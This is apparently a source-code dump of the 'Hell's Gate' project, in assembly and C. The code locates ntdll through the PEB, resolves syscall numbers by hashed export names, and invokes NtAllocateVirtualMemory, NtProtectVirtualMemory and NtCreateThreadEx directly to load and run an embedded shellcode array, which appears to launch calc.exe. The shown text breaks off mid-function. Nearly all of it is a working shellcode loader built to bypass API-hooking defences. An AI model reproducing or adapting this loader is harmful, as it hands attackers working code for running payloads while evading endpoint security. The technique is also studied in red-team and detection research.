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262
Hells Gate/Assembly Expansion/HELLSGATE.ASM Normal file
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; @file HELLSGATE.ASM
; @data 07-08-2020
; @author Paul Laîné (@am0nsec)
; @version 1.0
; @brief Dynamically extracting and invoking syscalls from in-memory modules.
; @details
; @link https://ntamonsec.blogspot.com/
; @copyright This project has been released under the GNU Public License v3 license.
include HELLSGATE.INC
_DATA segment
extern Shellcode: BYTE
extern ShellcodeLength: QWORD
wSystemCall DWORD 000h
lpAddress QWORD ?
sDataSize QWORD ?
OldProtect QWORD ?
hThreadHandle QWORD ?
VXTable VX_TABLE <>
Timeout LARGE_INTEGER <>
_DATA ends
_TEXT segment
SystemCall PROC
mov r10, rcx
syscall
ret
SystemCall ENDP
HellsGate PROC
_start:
mov r8, gs:[60h] ; Get process environment block (PEB)
cmp [r8].PEB.OSMajorVersion, 0Ah ;
jne _failure ; Jump if not Windows 10
; Get the base address of ntdll
mov r8, [r8].PEB.Ldr ;
mov r8, [r8].PEB_LDR_DATA.InMemoryOrderModuleList.Flink - 10h ; First loaded module: e.g. hellsgate.exe
mov r8, [r8].LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink - 10h ; Second loaded module: e.g. ntdll.dll
mov r8, [r8].LDR_DATA_TABLE_ENTRY.DllBase ; Image base of the module
mov r9, r8 ; Store for later use
; Get module export directory
cmp [r8].IMAGE_DOS_HEADER.e_magic, 5A4Dh ; DOS Header --> MZ
jne _failure ;
mov ebx, [r8].IMAGE_DOS_HEADER.e_lfanew ; RVA of IMAGE_NT_HEADERS64
add r8, rbx ;
cmp [r8].IMAGE_NT_HEADERS64.Signature, 00004550h ; NT Header --> PE00
jne _failure ;
mov ebx, IMAGE_NT_HEADERS64.OptionalHeader ; RVA of IMAGE_OPTIONAL_HEADER64
add r8, rbx ;
cmp [r8].IMAGE_OPTIONAL_HEADER64.Magic, 20bh ; Optional header --> 0x20b
jne _failure ;
lea r8, [r8].IMAGE_OPTIONAL_HEADER64.DataDirectory ; First entry of the DataDirectory array
mov ebx, [r8].IMAGE_DATA_DIRECTORY.VirtualAddress ; RVA of IMAGE_EXPORT_DIRECTORY
mov r8, r9 ; ImageBase
add r8, rbx ; Module + RVA
; Push function hashes
mov VXTable.NtAllocateVirtualMemory.dwHash, 002B73D648h ; DJB2 hash of NtAllocateVirtualMemory
mov VXTable.NtProtectVirtualMemory.dwHash, 00FE950644h ; DJB2 hash of NtProtectVirtualMemory
mov VXTable.NtCreateThreadEx.dwHash, 00B151D7ACh ; DJB2 hash of NtCreateThreadEx
mov VXTable.NtWaitForSingleObject.dwHash, 0091F4EA38h ; DJB2 hash of NtWaitForSingleObject
xor r15, r15 ; Clean R15 register
mov r15b, 4h ; Move to R15 number of functions to find
mov ebx, [r8].IMAGE_EXPORT_DIRECTORY.AddressOfNames ; Address of the function name
mov r12, r9 ; Function name RVA
add r12, rbx ; ImageBase + RVA
mov ebx, [r8].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions ; Address of function pointers
mov r13, r9 ;
add r13, rbx ;
mov ebx, [r8].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals ; Address of function ordinals
mov r14, r9 ;
add r14, rbx ;
mov ecx, [r8].IMAGE_EXPORT_DIRECTORY.NumberOfNames ; Total number of named functions
dec ecx
;-----------------------------------------------------------------------------
; Find function ordinal index w/ function name hash
;-----------------------------------------------------------------------------
_parse_functions_name:
mov rbx, 4h ; sizeof(DWORD)
imul rbx, rcx ; siezof(DWORD) * RCX
mov esi, [r12 + rbx] ; Function RVA
add rsi, r9 ; Function RVA + ImageBase
mov r10d, 5381h ; hash = 0x5381
_djb2:
mov r11d, r10d ; Store original hash value for later
shl r10d, 5 ; hash << 5
add r10d, r11d ; (hash << 5) + hash
xor r11d, r11d ; Clean temporary hash value
mov r11b, byte ptr [rsi] ; Get ASCII char
add r10d, r11d ; ((hash << 5) + hash) + char
inc rsi ; Next string char
cmp byte ptr [rsi], 00h ; End of string
jne _djb2 ;
lea rax, VXTable ; Address of VX table
mov rdx, VXTableEntrySize ; RDX = sizeof(VX_TABLE_ENTRY)
imul rdx, r15 ; RDX = sizeof(VX_TABLE_ENTRY) * R15
sub rdx, 10h ; RDX = (sizeof(VX_TABLE_ENTRY) * R15) - sizeof(VX_TABLE_ENTRY)
add rax, rdx ; RAX = VX_TABLE[RDX].pAddress = RBX
xor r10d, [rax].VX_TABLE_ENTRY.dwHash ; Check if function has been found
jz _get_function_address ;
loop _parse_functions_name ;
;-----------------------------------------------------------------------------
; Find the function address w/ function ordinal
;-----------------------------------------------------------------------------
_get_function_address:
mov rax, 2h ; sizeof(WORD)
imul rax, rcx ; sizeof(WORD) * RCX
mov ax, [r14 + rax] ; AX = function ordinal
imul rax, 4 ; sizeof(DWORD) * ordinal
mov eax, [r13 + rax] ; RVA of function
mov rbx, r9 ; RBX = ImageBase
add rbx, rax ; RBX = address of function
lea rax, VXTable ; Address of VX table
mov rdx, VXTableEntrySize ; RDX = sizeof(VX_TABLE_ENTRY)
imul rdx, r15 ; RDX = sizeof(VX_TABLE_ENTRY) * R15
sub rdx, 10h ; RDX = (sizeof(VX_TABLE_ENTRY) * R15) - sizeof(VX_TABLE_ENTRY)
add rax, rdx ; RAX = VX_TABLE[RDX].pAddress = RBX
mov [rax].VX_TABLE_ENTRY.pAddress, rbx ;
;-----------------------------------------------------------------------------
; Find the function system call w/ function address
;-----------------------------------------------------------------------------
_get_function_syscall:
inc rbx
cmp byte ptr [rbx], 00C3h ; Check if RET
je _failure ;
cmp word ptr [rbx], 050Fh ; Check if syscall
jne _get_function_syscall ;
sub rbx, 0Eh ; Address of system call
mov cx, word ptr [rbx] ; CX = system call
lea rax, VXTable ; Address of VX table
mov rdx, VXTableEntrySize ; RDX = sizeof(VX_TABLE_ENTRY)
imul rdx, r15 ; RDX = sizeof(VX_TABLE_ENTRY) * R15
sub rdx, 10h ; RDX = (sizeof(VX_TABLE_ENTRY) * R15) - sizeof(VX_TABLE_ENTRY)
add rax, rdx ; RAX = VX_TABLE[RDX].pAddress = RBX
mov [rax].VX_TABLE_ENTRY.wSystemCall, cx ;
_reset_loop:
; Move to the next function
mov ecx, [r8].IMAGE_EXPORT_DIRECTORY.NumberOfNames ; Reset counter
dec ecx ;
dec r15 ; Check if all function have been found
jnz _parse_functions_name ;
;-----------------------------------------------------------------------------
; Execute the payload
;-----------------------------------------------------------------------------
_payload:
; Initialise variables
mov r10, ShellcodeLength ;
mov sDataSize, r10 ; Store shellcode length
mov lpAddress, 0h ;
; Execute NtAllocateVirtualMemory
mov ax, VXTable.NtAllocateVirtualMemory.wSystemCall ;
mov rcx, 0FFFFFFFFFFFFFFFFh ; ProcessHandle
lea rdx, lpAddress ; BaseAddress
xor r8, r8 ; ZeroBits
lea r9, sDataSize ; RegionSize
mov qword ptr [rsp + 20h], 3000h ; AllocationType
mov qword ptr [rsp + 28h], 4 ; Protect
call SystemCall ;
cmp eax, 00h ; (NTSTATUS != 0)
jne _failure ;
; Copy shellcode
cld ; Clear direction flag == forward copy
lea rsi, Shellcode ; Origin
mov rdi, lpAddress ; Destination
mov rcx, ShellcodeLength ; Size of shellcode
rep movsb ; Copy byte until RCX = 0
; Execute NtProtectVirtualMemory
mov ax, VXTable.NtProtectVirtualMemory.wSystemCall ;
mov rcx, 0FFFFFFFFFFFFFFFFh ; ProcessHandle
lea rdx, lpAddress ; BaseAddress
lea r8, sDataSize ; NumberOfBytesToProtect
mov r9d, 20h ; NewAccessProtection
mov OldProtect, 00h ;
lea r11, OldProtect ;
mov qword ptr [rsp + 20h], r11 ; OldAccessProtection
call SystemCall ;
cmp eax, 00h ; (NTSTATUS != 0)
jne _failure ;
; Execute NtCreateThreadEx
mov ax, VXTable.NtCreateThreadEx.wSystemCall
mov hThreadHandle, 0 ;
lea rcx, hThreadHandle ; hThread
mov rdx, 1FFFFFh ; DesiredAccess
xor r8, r8 ; ObjectAttributes
mov r9, 0FFFFFFFFFFFFFFFFh ; ProcessHandle
mov r10, lpAddress ;
mov qword ptr [rsp + 20h], r10 ; lpStartAddress
mov qword ptr [rsp + 28h], 00h ; lpParameter
mov qword ptr [rsp + 30h], 00h ; Flags
mov qword ptr [rsp + 38h], 00h ; StackZeroBits
mov qword ptr [rsp + 40h], 00h ; SizeOfStackCommit
mov qword ptr [rsp + 48h], 00h ; SizeOfStackReserve
mov qword ptr [rsp + 50h], 00h ; lpBytesBuffer
call SystemCall ;
cmp eax, 00h ; (NTSTATUS != 0)
jne _failure ;
; Execute NtWaitForSingleObject
mov ax, VXTable.NtWaitForSingleObject.wSystemCall ;
mov rcx, hThreadHandle ; ObjectHandle
xor rdx, rdx ; Alertable
mov Timeout, 0FFFFFFFFFF676980h ; TimeOut
lea r8, Timeout ;
call SystemCall ;
cmp eax, 00h ; (NTSTATUS != 0)
jne _failure ;
;-----------------------------------------------------------------------------
; Successfully execution of the function
;-----------------------------------------------------------------------------
_success:
mov rax, 1
ret
;-----------------------------------------------------------------------------
; In case something goes wrong
;-----------------------------------------------------------------------------
_failure:
xor rax, rax
ret
HellsGate ENDP
_TEXT ends
; end of file
end

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Hells Gate/Assembly Expansion/HELLSGATE.INC Normal file
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; @file HELLSGATE.INC
; @data 07-08-2020
; @author Paul Laîné (@am0nsec)
; @version 1.0
; @brief Dynamically extracting and invoking syscalls from in-memory modules.
; @details
; @link https://ntamonsec.blogspot.com/
; @copyright This project has been released under the GNU Public License v3 license.
VXTableEntrySize EQU SIZEOF VX_TABLE_ENTRY
VXTableSize EQU SIZEOF VX_TABLE
VX_TABLE_ENTRY struct
pAddress QWORD ? ; 0x0000
dwHash DWORD ? ; 0x0008
wSystemCall WORD ? ; 0x000C
BYTE 2 dup(?) ; padding
VX_TABLE_ENTRY ends
VX_TABLE struct
NtAllocateVirtualMemory VX_TABLE_ENTRY <> ; 0x0000
NtProtectVirtualMemory VX_TABLE_ENTRY <> ; 0x0010
NtCreateThreadEx VX_TABLE_ENTRY <> ; 0x0020
NtWaitForSingleObject VX_TABLE_ENTRY <> ; 0x0030
VX_TABLE ends
LARGE_INTEGER struct
LowPart DWORD ? ; 0x0000
HighPart DWORD ? ; 0x0004
LARGE_INTEGER ends
ULARGE_INTEGER struct
LowPart DWORD ? ; 0x0000
HighPart DWORD ? ; 0x0004
ULARGE_INTEGER ends
UNICODE_STRING struct
_Length WORD ? ; 0x0000
MaximumLength WORD ? ; 0x0002
BYTE 4 dup(?) ; padding
Buffer QWORD ? ; 0x0008
UNICODE_STRING ends
LIST_ENTRY struct
Flink QWORD ? ; 0x0000
BLink QWORD ? ; 0x0008
LIST_ENTRY ends
PEB struct
InheritedAddressSpace BYTE ? ; 0x0000
ReadImageFileExecOptions BYTE ? ; 0x0001
BeingDebugged BYTE ? ; 0x0002
BitField BYTE ? ; 0x0003
Padding0 BYTE 4 dup(?) ; 0x0004
Mutant QWORD ? ; 0x0008
ImageBaseAddress QWORD ? ; 0x0010
Ldr QWORD ? ; 0x0018
ProcessParameters QWORD ? ; 0x0020
SubSystemData QWORD ? ; 0x0028
ProcessHeap QWORD ? ; 0x0030
FastPebLock QWORD ? ; 0x0038
AtlThunkSListPtr QWORD ? ; 0x0040
IFEOKey QWORD ? ; 0x0048
CrossProcessFlags DWORD ? ; 0x0050
Padding1 BYTE 4 dup(?) ; 0x0054
UserSharedInfoPtr QWORD ? ; 0x0058
SystemReserved DWORD ? ; 0x0060
AtlThunkSListPtr32 DWORD ? ; 0x0064
ApiSetMap QWORD ? ; 0x0068
TlsExpansionCounter DWORD ? ; 0x0070
Padding2 BYTE 4 dup(?) ; 0x0074
TlsBitmap QWORD ? ; 0x0078
TlsBitmapBits DWORD 2 dup(?) ; 0x0080
ReadOnlySharedMemoryBase QWORD ? ; 0x0088
SharedData QWORD ? ; 0x0090
ReadOnlyStaticServerData QWORD ? ; 0x0098
AnsiCodePageData QWORD ? ; 0x00A0
OemCodePageData QWORD ? ; 0x00A8
UnicodeCaseTableData QWORD ? ; 0x00B0
NumberOfProcessors DWORD ? ; 0x00B9
NtGlobalFlag DWORD ? ; 0x00BC
CriticalSectionTimeout LARGE_INTEGER <> ; 0x00C0
HeapSegmentReserve QWORD ? ; 0x00C8
HeapSegmentCommit QWORD ? ; 0x00D0
HeapDeCommitTotalFreeThreshold QWORD ? ; 0x00D8
HeapDeCommitFreeBlockThreshold QWORD ? ; 0x00E0
NumberOfHeaps DWORD ? ; 0x00E8
MaximumNumberOfHeaps DWORD ? ; 0x00EC
ProcessHeaps QWORD ? ; 0x00F0
GdiSharedHandleTable QWORD ? ; 0x00F8
ProcessStarterHelper QWORD ? ; 0x0100
GdiDCAttributeList DWORD ? ; 0x0108
Padding3 BYTE 4 dup(?) ; 0x010C
LoaderLock QWORD ? ; 0x0110
OSMajorVersion DWORD ? ; 0x0118
OSMinorVersion DWORD ? ; 0x011C
OSBuildNumber WORD ? ; 0x0120
OSCSDVersion WORD ? ; 0x0122
OSPlatformId DWORD ? ; 0x0124
ImageSubsystem DWORD ? ; 0x0128
ImageSubsystemMajorVersion DWORD ? ; 0x012C
ImageSubsystemMinorVersion DWORD ? ; 0x0130
Padding4 BYTE 4 dup(?) ; 0x0134
ActiveProcessAffinityMask QWORD ? ; 0x0138
GdiHandleBuffer DWORD 60 dup(?) ; 0x0140
PostProcessInitRoutine QWORD ? ; 0x0230
TlsExpansionBitmap QWORD ? ; 0x0238
TlsExpansionBitmapBits DWORD 32 dup(?) ; 0x0240
SessionId DWORD ? ; 0x02C0
Padding5 BYTE 4 dup(?) ; 0x02C4
AppCompatFlags ULARGE_INTEGER <> ; 0x02C8
AppCompatFlagsUser ULARGE_INTEGER <> ; 0x02D0
pShimData QWORD ? ; 0x02D8
AppCompatInfo QWORD ? ; 0x02E0
CSDVersion UNICODE_STRING <> ; 0x02E8
ActivationContextData QWORD ? ; 0x02F8
ProcessAssemblyStorageMap QWORD ? ; 0x0300
SystemDefaultActivationContextData QWORD ? ; 0x0308
SystemAssemblyStorageMap QWORD ? ; 0x0310
MinimumStackCommit QWORD ? ; 0x0318
SparePointers QWORD 4 dup(?) ; 0x0320
SpareUlongs DWORD 5 dup(?) ; 0x0340
BYTE 4 dup(?)
WerRegistrationData QWORD ? ; 0x0358
WerShipAssertPtr QWORD ? ; 0x0360
pUnused QWORD ? ; 0x0368
pImageHeaderHash QWORD ? ; 0x0370
TracingFlags DWORD ? ; 0x0378
Padding6 BYTE 4 dup(?) ; 0x037c
CsrServerReadOnlySharedMemoryBase QWORD ? ; 0x0380
TppWorkerpListLock QWORD ? ; 0x0388
TppWorkerpList LIST_ENTRY <> ; 0x0390
WaitOnAddressHashTable QWORD 128 dup(?) ; 0x03A0
TelemetryCoverageHeader QWORD ? ; 0x07A0
CloudFileFlags DWORD ? ; 0x07A8
CloudFileDiagFlags DWORD ? ; 0x07AC
PlaceholderCompatibilityMode BYTE ? ; 0x07B0
PlaceholderCompatibilityModeReserved BYTE 7 dup(?) ; 0x07B1
LeapSecondData QWORD ? ; 0x07B8
LeapSecondFlags DWORD ? ; 0x07c0
NtGlobalFlag2 DWORD ? ; 0x07c4
PEB ends
PEB_LDR_DATA struct
_Length DWORD ? ; 0x0000
Initialized BYTE ? ; 0x0004
BYTE 3 dup(?) ; padding
SsHandle QWORD ? ; 0x0008
InLoadOrderModuleList LIST_ENTRY <> ; 0x0010
InMemoryOrderModuleList LIST_ENTRY <> ; 0x0020
InInitializationOrderModuleList LIST_ENTRY <> ; 0x0030
EntryInProgress QWORD ? ; 0x0040
ShutdownInProgress BYTE ? ; 0x0048
BYTE 7 dup(?) ; padding
ShutdownThreadId QWORD ? ; 0x0050
PEB_LDR_DATA ends
RTL_BALANCED_NODE struct
_Dummy BYTE 24 dup(?)
RTL_BALANCED_NODE ends
LDR_DATA_TABLE_ENTRY struct
InLoadOrderLinks LIST_ENTRY <> ; 0x0000
InMemoryOrderLinks LIST_ENTRY <> ; 0x0010
InInitializationOrderLinks LIST_ENTRY <> ; 0x0020
DllBase QWORD ? ; 0x0030
EntryPoint QWORD ? ; 0x0038
SizeOfImage DWORD ? ; 0x0040
BYTE 4 dup(?) ; padding
FullDllName UNICODE_STRING <> ; 0x0048
BaseDllName UNICODE_STRING <> ; 0x0058
FlagGroup BYTE 4 dup(?) ; 0x0068
ObsoleteLoadCount WORD ? ; 0x006C
TlsIndex WORD ? ; 0x006E
HashLinks LIST_ENTRY <> ; 0x0070
TimeDateStamp DWORD ? ; 0x0080
BYTE 4 dup(?) ; padding
EntryPointActivationContext QWORD ? ; 0x0088
_Lock QWORD ? ; 0x0090
DdagNode QWORD ? ; 0x0098
NodeModuleLink LIST_ENTRY <> ; 0x00A0
LoadContext QWORD ? ; 0x00B0
ParentDllBase QWORD ? ; 0x00B8
SwitchBackContext QWORD ? ; 0x00C0
BaseAddressIndexNode RTL_BALANCED_NODE <> ; 0x00C8
MappingInfoIndexNode RTL_BALANCED_NODE <> ; 0x00E0
OriginalBase QWORD ? ; 0x00F8
LoadTime LARGE_INTEGER <> ; 0x0100
BaseNameHashValue DWORD ? ; 0x0108
LoadReason DWORD ? ; 0x010C
ImplicitPathOptions DWORD ? ; 0x0110
ReferenceCount DWORD ? ; 0x0114
DependentLoadFlags DWORD ? ; 0x0118
SigningLevel BYTE ? ; 0x011C
LDR_DATA_TABLE_ENTRY ends
IMAGE_DOS_HEADER struct
e_magic WORD ? ; 0x0000
e_cblp WORD ? ; 0x0002
e_cp WORD ? ; 0x0004
e_crlc WORD ? ; 0x0006
e_cparhdr WORD ? ; 0x0008
e_minalloc WORD ? ; 0x000A
e_maxalloc WORD ? ; 0x000C
e_ss WORD ? ; 0x000E
e_sp WORD ? ; 0x0010
e_csum WORD ? ; 0x0012
e_ip WORD ? ; 0x0014
e_cs WORD ? ; 0x0016
e_lfarlc WORD ? ; 0x0018
e_ovno WORD ? ; 0x001A
e_res WORD 4 dup(?) ; 0x001C
e_oemid WORD ? ; 0x0024
e_oeminfo WORD ? ; 0x0026
e_res2 WORD 10 dup(?) ; 0x0028
e_lfanew DWORD ? ; 0x003C
IMAGE_DOS_HEADER ends
IMAGE_FILE_HEADER struct
Machine WORD ? ; 0x0000
NumberOfSections WORD ? ; 0x0002
TimeDateStamp DWORD ? ; 0x0004
PointerToSymbolTable DWORD ? ; 0x0008
NumberOfSymbols DWORD ? ; 0x000c
SizeOfOptionalHeader WORD ? ; 0x0010
Characteristics WORD ? ; 0x0012
IMAGE_FILE_HEADER ends
IMAGE_DATA_DIRECTORY struct
VirtualAddress DWORD ? ; 0x0000
_Size DWORD ? ; 0x0004
IMAGE_DATA_DIRECTORY ends
IMAGE_OPTIONAL_HEADER64 struct
Magic WORD ? ; 0x0000
MajorLinkerVersion BYTE ? ; 0x0002
MinorLinkerVersion BYTE ? ; 0x0003
SizeOfCode DWORD ? ; 0x0004
SizeOfInitializedData DWORD ? ; 0x0008
SizeOfUninitializedData DWORD ? ; 0x000C
AddressOfEntryPoint DWORD ? ; 0x0010
BaseOfCode DWORD ? ; 0x0014
ImageBase QWORD ? ; 0x0018
SectionAlignment DWORD ? ; 0x0020
FileAlignment DWORD ? ; 0x0024
MajorOperatingSystemVersion WORD ? ; 0x0028
MinorOperatingSystemVersion WORD ? ; 0x002a
MajorImageVersion WORD ? ; 0x002C
MinorImageVersion WORD ? ; 0x002E
MajorSubsystemVersion WORD ? ; 0x0030
MinorSubsystemVersion WORD ? ; 0x0032
Win32VersionValue DWORD ? ; 0x0034
SizeOfImage DWORD ? ; 0x0038
SizeOfHeaders DWORD ? ; 0x003c
CheckSum DWORD ? ; 0x0040
Subsystem WORD ? ; 0x0044
DllCharacteristics WORD ? ; 0x0046
SizeOfStackReserve QWORD ? ; 0x0048
SizeOfStackCommit QWORD ? ; 0x0050
SizeOfHeapReserve QWORD ? ; 0x0058
SizeOfHeapCommit QWORD ? ; 0x0060
LoaderFlags DWORD ? ; 0x0068
NumberOfRvaAndSizes DWORD ? ; 0x006C
DataDirectory IMAGE_DATA_DIRECTORY 16 dup(<>) ; 0x0070
IMAGE_OPTIONAL_HEADER64 ends
IMAGE_NT_HEADERS64 struct
Signature DWORD ? ; 0x0000
FileHeader IMAGE_FILE_HEADER <> ; 0x0004
OptionalHeader IMAGE_OPTIONAL_HEADER64 <> ; 0x0018
IMAGE_NT_HEADERS64 ends
IMAGE_EXPORT_DIRECTORY struct
Characteristics DWORD ? ; 0x0000
TimeDateStamp DWORD ? ; 0x0004
MajorVersion WORD ? ; 0x0008
MinorVersion WORD ? ; 0x000A
_Name DWORD ? ; 0x000C
Base DWORD ? ; 0x0010
NumberOfFunctions DWORD ? ; 0x0014
NumberOfNames DWORD ? ; 0x0018
AddressOfFunctions DWORD ? ; 0x001C
AddressOfNames DWORD ? ; 0x0020
AddressOfNameOrdinals DWORD ? ; 0x0024
IMAGE_EXPORT_DIRECTORY ends

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Hells Gate/Assembly Expansion/main.c Normal file
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/**
* @file main.c
* @data 07-08-2020
* @author Paul Laîné(@am0nsec)
* @version 1.0
* @brief Dynamically extractingand invoking syscalls from in - memory modules.
* @details
* @link https ://ntamonsec.blogspot.com/
* @copyright This project has been released under the GNU Public License v3 license.
*/
#include <Windows.h>
unsigned char Shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
DWORD ShellcodeLength = sizeof(Shellcode);
extern BOOL HellsGate(void);
INT wmain() {
BOOL a = HellsGate();
}

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Hells Gate/C Implementation/HellsGate.sln Normal file
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Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30114.105
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HellsGate", "HellsGate\HellsGate.vcxproj", "{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.ActiveCfg = Debug|x64
{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.Build.0 = Debug|x64
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161
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32
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Hells Gate/C Implementation/HellsGate/hellsgate.asm Normal file
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; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end

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Hells Gate/C Implementation/HellsGate/main.c Normal file
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#pragma once
#include <Windows.h>
#include "structs.h"
/*--------------------------------------------------------------------
VX Tables
--------------------------------------------------------------------*/
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
/*--------------------------------------------------------------------
Function prototypes.
--------------------------------------------------------------------*/
PTEB RtlGetThreadEnvironmentBlock();
BOOL GetImageExportDirectory(
_In_ PVOID pModuleBase,
_Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory
);
BOOL GetVxTableEntry(
_In_ PVOID pModuleBase,
_In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,
_In_ PVX_TABLE_ENTRY pVxTableEntry
);
BOOL Payload(
_In_ PVX_TABLE pVxTable
);
PVOID VxMoveMemory(
_Inout_ PVOID dest,
_In_ const PVOID src,
_In_ SIZE_T len
);
/*--------------------------------------------------------------------
External functions' prototype.
--------------------------------------------------------------------*/
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();
INT wmain() {
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
return 0x1;
Payload(&Table);
return 0x00;
}
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x7734773477347734;
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// check if syscall, in this case we are too far
